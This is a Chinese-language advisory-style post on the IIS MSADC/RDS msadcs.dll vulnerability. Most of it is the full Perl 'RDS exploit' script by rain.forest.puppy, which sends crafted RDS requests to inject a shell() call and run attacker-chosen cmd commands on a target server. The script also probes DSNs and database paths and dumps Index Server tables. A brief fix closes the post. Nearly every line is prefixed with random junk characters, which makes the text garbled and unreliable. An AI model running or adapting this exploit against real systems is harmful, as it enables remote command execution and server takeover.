IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
jU@q Q@| w%S\)wjS 涉及程序：
[,8@oM# Microsoft NT server
>y(;k|-$ nP0|nPWz# 描述：
O <Ht-TN& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ou6yi;
l% @4sv(HyDY 详细：
(05/}PhB` 如果你没有时间读详细内容的话，就删除:
8}X tVF ; c:\Program Files\Common Files\System\Msadc\msadcs.dll
g9<*+fV
2$ 有关的安全问题就没有了。
",w@_}z: ['tGc{4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
P"XF|*^U QuT8(s1Q! 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
kHo0I8
关于利用ODBC远程漏洞的描述，请参看:
)_,*2|b Nm\0 >} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \WQ\q
\ J)x-Yhe 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4~P{H/ ] http://www.microsoft.com/security/bulletins/MS99-025faq.asp A'c 0zWV 2 _o'ii
VDuD 这里不再论述。
#:3ca] k =A$5~op% 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/v
U$62KA O7g
?x3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<wW#Wnc ] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
P 5P:_hr l"W9uS;\T ]EnB`g(4; #将下面这段保存为txt文件，然后: "perl -x 文件名"
E<:XH j m ?k TVC #!perl
+j1s*}8 #
VY<$~9a&1 # MSADC/RDS 'usage' (aka exploit) script
58DkVQ 6 #
FWq+'Gk SV # by rain.forest.puppy
WJ<nc+/v: #
M56^p , # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
2RFY nDN # beta test and find errors!
ylUxK{ fFMGpibkM use Socket; use Getopt::Std;
p^3 ]Q getopts("e:vd:h:XR", \%args);
='`z Y4_/G4C print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
s X.L EeIV6ug if (!defined $args{h} && !defined $args{R}) {
+ 0{m(%i print qq~
Qj.]I0d Usage: msadc.pl -h <host> { -d <delay> -X -v }
MRR 5j;4GK -h <host> = host you want to scan (ip or domain)
!g
# -d <seconds> = delay between calls, default 1 second
jV2L;APCq -X = dump Index Server path table, if available
6}6;%{p"Gu -v = verbose
$A;jl`ng -e = external dictionary file for step 5
UOJx-o!c? 3k.{gAZKh Or a -R will resume a command session
n sKl3}uU qjFz} 6 ~; exit;}
8UJK]_99I, q_bE?j{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I<` K;El' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
P^&%T?Y6z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.vE=527g) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
^I4'7]n- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
# ` Q3Z}C if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
m2F2
2&MIt(\- if (!defined $args{R}){ $ret = &has_msadc;
pM],-7UM die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
'r~,~ A I UbNA|`H print "Please type the NT commandline you want to run (cmd /c assumed):\n"
jfP2n5X83 . "cmd /c ";
\3JZ =/ $in=<STDIN>; chomp $in;
&_Z e@Ir- $command="cmd /c " . $in ;
3=5K7 F K+ZJSfO6 if (defined $args{R}) {&load; exit;}
S96H`kedZo mFfw*,M print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
a"SH_+T{ &try_btcustmr;
2~dUnskyy {; #u~e(W print "\nStep 2: Trying to make our own DSN...";
H=Scrvfx &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
J@sH(S qB6@OS print "\nStep 3: Trying known DSNs...";
#S)] `YW &known_dsn;
q,`"Z)97 FJ XYKpY[r print "\nStep 4: Trying known .mdbs...";
I
L ]uw &known_mdb;
O#LG$Y
n* pRWEBd1U if (defined $args{e}){
&|yQwNA*a" print "\nStep 5: Trying dictionary of DSN names...";
*j5>2-C & &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%:2EoX N" q.0Evr: print "Sorry Charley...maybe next time?\n";
!~Vo'ykwx' exit;
i[_ (0P+Da yM aU`z ##############################################################################
f++MH]I; p)6!GdT sub sendraw { # ripped and modded from whisker
)3K# ${p sleep($delay); # it's a DoS on the server! At least on mine...
mApn[)?tv my ($pstr)=@_;
R=& 9 M4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
p7et>;WRx die("Socket problems\n");
=1Nz*
c if(connect(S,pack "SnA4x8",2,80,$target)){
lS@0 $ select(S); $|=1;
MDV<[${ print $pstr; my @in=<S>;
?YE'J~0A6 select(STDOUT); close(S);
-#<6 return @in;
T 8<pb^# } else { die("Can't connect...\n"); }}
.5L|(B=H s?Lx\?T ##############################################################################
>QyJRMY tfB}U. sub make_header { # make the HTTP request
.#^ta9^t7 my $msadc=<<EOT
mm}y/dO~} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Y-2 IAJHS8 User-Agent: ACTIVEDATA
0lpkG
="&r Host: $ip
NSe H u k Content-Length: $clen
mj{B_3b5 Connection: Keep-Alive
Lx%*IE|c #1Zqq([@ ADCClientVersion:01.06
+cH,2 ^& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
di.yh3N$ R[_Q}W'HG --!ADM!ROX!YOUR!WORLD!
(~>uFH Content-Type: application/x-varg
C,;T/9 Content-Length: $reqlen
+kA>^ I=ao P}_ EOT
6/ -] ; $msadc=~s/\n/\r\n/g;
(rKyX:Vsy return $msadc;}
{!RDb'Zp J?6.yL; ##############################################################################
7Qdf#D G U
?iw sub make_req { # make the RDS request
%MG{KG=&o my ($switch, $p1, $p2)=@_;
E_q/*} ]pE my $req=""; my $t1, $t2, $query, $dsn;
` wI$ jej.!f: H if ($switch==1){ # this is the btcustmr.mdb query
~[8n+p+&X $query="Select * from Customers where City=" . make_shell();
YnR8mVo5Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
q+iG:B /Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%G0J]QY{(x 4X-" yQ<U elsif ($switch==2){ # this is general make table query
CdBpz/ $query="create table AZZ (B int, C varchar(10))";
bG0
|+k3O $dsn="$p1";}
_V2^0CZ Eep~3U elsif ($switch==3){ # this is general exploit table query
%x'}aT a $query="select * from AZZ where C=" . make_shell();
m:}PVJ-" $dsn="$p1";}
n[S-bzU^t L N z elsif ($switch==4){ # attempt to hork file info from index server
./ ]xn $query="select path from scope()";
.7 K)' $dsn="Provider=MSIDXS;";}
j_I[k8z :g%hT$,]3b elsif ($switch==5){ # bad query
WCNycH+1 $query="select";
-L-#-dK' $dsn="$p1";}
Ky0}phGRu D\ :dn $t1= make_unicode($query);
^VC /tJ $t2= make_unicode($dsn);
45.<eWH$*( $req = "\x02\x00\x03\x00";
!S.O~Kq $req.= "\x08\x00" . pack ("S1", length($t1));
,(u-q]8
$req.= "\x00\x00" . $t1 ;
8H'ybfed $req.= "\x08\x00" . pack ("S1", length($t2));
3_ bE12 $req.= "\x00\x00" . $t2 ;
ZLjEH7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X<%` return $req;}
@V?T'@W7D ,`Keqfx ##############################################################################
e{EC# %x_ ?^whK<"] sub make_shell { # this makes the shell() statement
o3"Nxq"U return "'|shell(\"$command\")|'";}
( ]E0fjk ,.kJF4s& ##############################################################################
U[0x\~[$K HLe/|x\@< sub make_unicode { # quick little function to convert to unicode
zif& ;)wV/ my ($in)=@_; my $out;
c"O4=[N: ; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[psZ c'q return $out;}
*{_N*p\{ Pz^C3h$5_
##############################################################################
b(IZ:ekZ5 6"Ze%:AZZ sub rdo_success { # checks for RDO return success (this is kludge)
_<E.?K$gbU my (@in) = @_; my $base=content_start(@in);
ZZ>" LH if($in[$base]=~/multipart\/mixed/){
{|d28!8w return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^B_SAZ&%% return 0;}
PglSQ2P <4LW.q ##############################################################################
$:?Dyu(Il /7 8zs- sub make_dsn { # this makes a DSN for us
TU6(Q,Yi| my @drives=("c","d","e","f");
l4gF.-.GYF print "\nMaking DSN: ";
4#Xz-5v foreach $drive (@drives) {
!/ a![Ne print "$drive: ";
T@Bu Fr`]< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_ Sg "|g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?8w5tfN6t . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`h|Y0x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
cP",szcY return 0 if $2 eq "404"; # not found/doesn't exist
Dm@h'* if($2 eq "200") {
(@ 1>G
^% foreach $line (@results) {
CnpQdI return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
fs l
ZJE } return 0;}
PNo9.-@G ^e]O-,UBk ##############################################################################
0HO'%'Ga* EI9;J-c sub verify_exists {
x8xz 33 my ($page)=@_;
{Rdh4ZKh my @results=sendraw("GET $page HTTP/1.0\n\n");
=@nE :uto] return $results[0];}
5DpvMhc_ J-|&[-Z
##############################################################################
t~H0Qeb[v= '3w%K+eJY sub try_btcustmr {
5hHLC7tT9 my @drives=("c","d","e","f");
#bJp)&LO my @dirs=("winnt","winnt35","winnt351","win","windows");
.=)[S5.BVq ~,_@|,) foreach $dir (@dirs) {
BbM/Rd1tAm print "$dir -> "; # fun status so you can see progress
1V wcJd foreach $drive (@drives) {
_!_^B print "$drive: "; # ditto
b^STegz $reqlen=length( make_req(1,$drive,$dir) ) - 28;
YQ@2p ?4 m $reqlenlen=length( "$reqlen" );
p"FWAC! $clen= 206 + $reqlenlen + $reqlen;
? 'qyI^m@ v, CWE my @results=sendraw(make_header() . make_req(1,$drive,$dir));
V|hwT^h if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`W >Sss else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
TCFr-*x ;PB_ @Zg ##############################################################################
+1a 3^A\ M&jlUr&l sub odbc_error {
]h#QA; my (@in)=@_; my $base;
T, +=ka$ my $base = content_start(@in);
&1f3e if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
N BXhcfF $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
it-]-=mqb $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0x,**6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!>"fDz<w` return $in[$base+4].$in[$base+5].$in[$base+6];}
C;5`G
*e print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$|g
; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
HOx+umjxW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Q 5hOVD% .p]r S
=# ##############################################################################
Dpwqg3,
#K`0b $ sub verbose {
fLpWTkr0 my ($in)=@_;
ek. @ 0c return if !$verbose;
rq^%)tR print STDOUT "\n$in\n";}
=k* XGbU s3T7M:DM4 ##############################################################################
[K@(,/$ ySB0"bl sub save {
c^O&A\+; my ($p1, $p2, $p3, $p4)=@_;
@eZBwFe open(OUT, ">rds.save") || print "Problem saving parameters...\n";
qDTdYf print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
D66NF;7q close OUT;}
*T#^|<.XG oY5`r)C7 ##############################################################################
$bD`B'5 [mv!r-= sub load {
5*f54 g"' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mlCBstt{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
f`KO#Wc @p=<IN>; close(IN);
}OhSCH'o6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
W"*2,R[}% $target= inet_aton($ip) || die("inet_aton problems");
H2oxD$s print "Resuming to $ip ...";
!-N !Bt8; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-$k IVh if($p[1]==1) {
b\KbF/ T $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
FrUqfTi+W $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q% d1O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
m[(_fOd if (rdo_success(@results)){print "Success!\n";}
6:L2oW 6}{ else { print "failed\n"; verbose(odbc_error(@results));}}
:<s`) elsif ($p[1]==3){
ZW9O P wV if(run_query("$p[3]")){
K@JaN/OM print "Success!\n";} else { print "failed\n"; }}
]v0Z[l>yf elsif ($p[1]==4){
SSxz1y if(run_query($drvst . "$p[3]")){
7p hf print "Success!\n"; } else { print "failed\n"; }}
$}r.fji,c exit;}
} zS5o
[OE BVj(Q}f8 ##############################################################################
liG|#ny{ sa &`CEa sub create_table {
O_ZYm{T[7 my ($in)=@_;
u}%6=V $reqlen=length( make_req(2,$in,"") ) - 28;
!Vg=l[ $reqlenlen=length( "$reqlen" );
3z, Ci$[ $clen= 206 + $reqlenlen + $reqlen;
K,JK9)T my @results=sendraw(make_header() . make_req(2,$in,""));
\E U^`o+ return 1 if rdo_success(@results);
\@yJbhk my $temp= odbc_error(@results); verbose($temp);
/M::x+/T return 1 if $temp=~/Table 'AZZ' already exists/;
w[\rS`J return 0;}
w3"L5 ;oH `Oi#`lC\ ##############################################################################
AC'_#nPL# ^a`3)WBv8 sub known_dsn {
1og +(m`BL # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
G&Dl($ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
|`Noj+T47I "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
(hdu+^Qj= "banner", "banners", "ads", "ADCDemo", "ADCTest");
SASLeGaV /:G y . foreach $dSn (@dsns) {
rjiHP;-t1 print ".";
jDqG9] next if (!is_access("DSN=$dSn"));
+}M3O]? 4 if(create_table("DSN=$dSn")){
`'^o 45 print "$dSn successful\n";
;x 2o|#`b if(run_query("DSN=$dSn")){
Z\U r F0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T&MhSJf# print "Something's borked. Use verbose next time\n";}}} print "\n";}
$Hj;i/zD r#2F k &Z9 ##############################################################################
Z~QLjv&$/r |dbKK\ X9 sub is_access {
tK .1
* my ($in)=@_;
4p-"1 c$ $reqlen=length( make_req(5,$in,"") ) - 28;
/gl8w-6 $reqlenlen=length( "$reqlen" );
0^dYu /i5 $clen= 206 + $reqlenlen + $reqlen;
Z]R#F0 "U my @results=sendraw(make_header() . make_req(5,$in,""));
qB,0(I1-! my $temp= odbc_error(@results);
0IdA!.| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
H8[A*uYL
return 0;}
oSmETk\ jwAYlnQ^EM ##############################################################################
ypG*41 1AN$s
sub run_query {
ppNMXbXR my ($in)=@_;
s2NBYDi$? $reqlen=length( make_req(3,$in,"") ) - 28;
c ?EvrtND $reqlenlen=length( "$reqlen" );
7(X
z%v $clen= 206 + $reqlenlen + $reqlen;
GM'yOJo my @results=sendraw(make_header() . make_req(3,$in,""));
Y I;iG[T,& return 1 if rdo_success(@results);
G" E_4YkJ my $temp= odbc_error(@results); verbose($temp);
>;h Aw!|# return 0;}
i>,An kI&
U-4F ##############################################################################
~Ck OiWC 0 {ri={p]l sub known_mdb {
jLt3jN my @drives=("c","d","e","f","g");
LtX53c my @dirs=("winnt","winnt35","winnt351","win","windows");
e2N K7 my $dir, $drive, $mdb;
v\4<6Z:4 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*9$SFe|&n: jq*`| m;Q # this is sparse, because I don't know of many
+x}9a~QG# my @sysmdbs=( "\\catroot\\icatalog.mdb",
P
"IR3= "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
V`#2jDz "\\system32\\certmdb.mdb",
q)Nw$dW< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
)MK $E ,W Ze8.+E e my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?#xm6oe#aH "\\cfusion\\cfapps\\forums\\forums_.mdb",
&e:+;7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^}p##7t [ "\\cfusion\\cfapps\\security\\realm_.mdb",
T:Nk9t$W7@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
B+U:=591 "\\cfusion\\database\\cfexamples.mdb",
WEe7\ bWF "\\cfusion\\database\\cfsnippets.mdb",
4F
G0'J&hw "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
W"_<SYV J "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[bP^RY: "\\cfusion\\brighttiger\\database\\cleam.mdb",
eBn x$ "\\cfusion\\database\\smpolicy.mdb",
pKy4***I3 "\\cfusion\\database\cypress.mdb",
6(d6Uwc ` "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
< A8>To< "\\website\\cgi-win\\dbsample.mdb",
6V]m0{:E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:,aY|2si "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Sk>=C0f: ); #these are just
!pw )sO~ foreach $drive (@drives) {
t~j 6w sx; foreach $dir (@dirs){
\q1tT!] foreach $mdb (@sysmdbs) {
$1|E(d1 print ".";
Vez8 ~r3 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'WE"$ 1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
CA C4A if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
3MNM<Ih print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
"W% YsN0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
A|
A#|D c_*w<v J-' foreach $drive (@drives) {
> B@ c74 foreach $mdb (@mdbs) {
>bze0` }Z print ".";
s.
A}ydtt if(create_table($drv . $drive . $dir . $mdb)){
EUuSN| a print "\n" . $drive . $dir . $mdb . " successful\n";
<JWU@A-.y if(run_query($drv . $drive . $dir . $mdb)){
rY45.,qWs print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
mLZ1u\ 7W } else { print "Something's borked. Use verbose next time\n"; }}}}
G@`F{l }
X\ P% C -i2rcH ##############################################################################
rx2']. |_TI/i >?' sub hork_idx {
px K&aY8 print "\nAttempting to dump Index Server tables...\n";
"nu]3zcd print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
sb{K%xi% $reqlen=length( make_req(4,"","") ) - 28;
zG6l8%q'UE $reqlenlen=length( "$reqlen" );
!9_(y~g{N $clen= 206 + $reqlenlen + $reqlen;
" 4\ my @results=sendraw2(make_header() . make_req(4,"",""));
7[;!e n O if (rdo_success(@results)){
{ sC Ni my $max=@results; my $c; my %d;
A5yVx SF for($c=19; $c<$max; $c++){
U _5` $results[$c]=~s/\x00//g;
uW!XzX[' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
MmjZ q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
lxL. ztL $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#Z2 'Y [@. $d{"$1$2"}="";}
?QT6q]|d0+ foreach $c (keys %d){ print "$c\n"; }
w/m@(EBK } else {print "Index server doesn't seem to be installed.\n"; }}
'?veM X w/nohZF6H ##############################################################################
%o%V4K * ?<!q F:r: sub dsn_dict {
W^ L ^7 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
/_qq(,3 while(<IN>){
r3g^ 0|) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Ia#!T"]@W6 next if (!is_access("DSN=$dSn"));
FHr)xqo=~ if(create_table("DSN=$dSn")){
/o;L,mcx* print "$dSn successful\n";
W" vLCHTh if(run_query("DSN=$dSn")){
tjx8 UgSi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hXjZ>n`` print "Something's borked. Use verbose next time\n";}}}
1 6zxPSTr} print "\n"; close(IN);}
BeVDTk : fasW b&~z ##############################################################################
+112{v=!i ]64}Xob87_ sub sendraw2 { # ripped and modded from whisker
B~Kx Up sleep($delay); # it's a DoS on the server! At least on mine...
?/3wO/7[ my ($pstr)=@_;
z.cDbkf} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H 1kI+YJ@ die("Socket problems\n");
B&a{,.m&q6 if(connect(S,pack "SnA4x8",2,80,$target)){
FFcCoPX_ print "Connected. Getting data";
Z2$_9 . open(OUT,">raw.out"); my @in;
5 qfvHQ ~M select(S); $|=1; print $pstr;
i mYfRi=$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
H<_Tn$<zH. close(OUT); select(STDOUT); close(S); return @in;
G)? *BH } else { die("Can't connect...\n"); }}
J.1 c ,@ R
xITMt ##############################################################################
\yJ
4+vo2Q DPzW,aIgv sub content_start { # this will take in the server headers
!+PrgIp> my (@in)=@_; my $c;
ISpV={$Zd for ($c=1;$c<500;$c++) {
y5j:+2|I if($in[$c] =~/^\x0d\x0a/){
:.*Q@ X}-I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
CXrOb+ else { return $c+1; }}}
a|u#w~ return -1;} # it should never get here actually
ZTzec zXpQ 9<_hb1' ##############################################################################
+x
3 x gLv+L]BnhH sub funky {
aA|{r/.10K my (@in)=@_; my $error=odbc_error(@in);
%[p*6&V if($error=~/ADO could not find the specified provider/){
`}),wBq print "\nServer returned an ADO miscofiguration message\nAborting.\n";
}) -V,\ exit;}
1YV1 Xnn, if($error=~/A Handler is required/){
6m;>R%S_ print "\nServer has custom handler filters (they most likely are patched)\n";
*m"9F'(Sd exit;}
9xK> fM&u if($error=~/specified Handler has denied Access/){
@n)? = [p print "\nServer has custom handler filters (they most likely are patched)\n";
/ 3N2?zS{ exit;}}
~JL
qh _VT{2`|}) ##############################################################################
,H7_eVLWR qIZ+%ZOu sub has_msadc {
p WRd I_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
lm4A%4- db my $base=content_start(@results);
'r!!W0-K return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
W/2y; @ return 0;}
M
+OVqTsFU uQ W)pD{_ ########################
. :j{d} p} q0+N#$g# -NwG'
U~ 解决方案：
3%)cUkD 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`Vw G]2 I 2、移除web 目录: /msadc
